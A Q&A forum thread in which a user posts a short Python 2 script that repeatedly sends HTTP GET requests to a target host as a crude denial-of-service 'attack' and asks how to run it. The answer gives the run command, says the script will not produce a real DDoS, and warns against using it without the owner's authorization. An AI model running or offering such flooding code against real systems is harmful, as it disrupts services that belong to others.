How can I use this code?

-1
import socket, sys, os  
print "][ Attacking " + sys.argv[1]  + " ... ]["  
print "injecting " + sys.argv[2];  
def attack():  
    #pid = os.fork()  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    s.connect((sys.argv[1], 80))  
    print ">> GET /" + sys.argv[2] + " HTTP/1.1"  
    s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")  
    s.send("Host: " + sys.argv[1]  + "\r\n\r\n");  
    s.close()  
for i in range(1, 1000):  
    attack() 
    
asked by anonymous 06.06.2016 / 12:07

1 answer

0

You can do this in the terminal:

python ficheiro.py www.google.com 123

I warn you right away that you will not do what you are waiting for, there will not be any ddos ... It is good that you know that you should not try these things without authorization from the system owner ( sys.argv[1] )

    
06.06.2016 / 12:26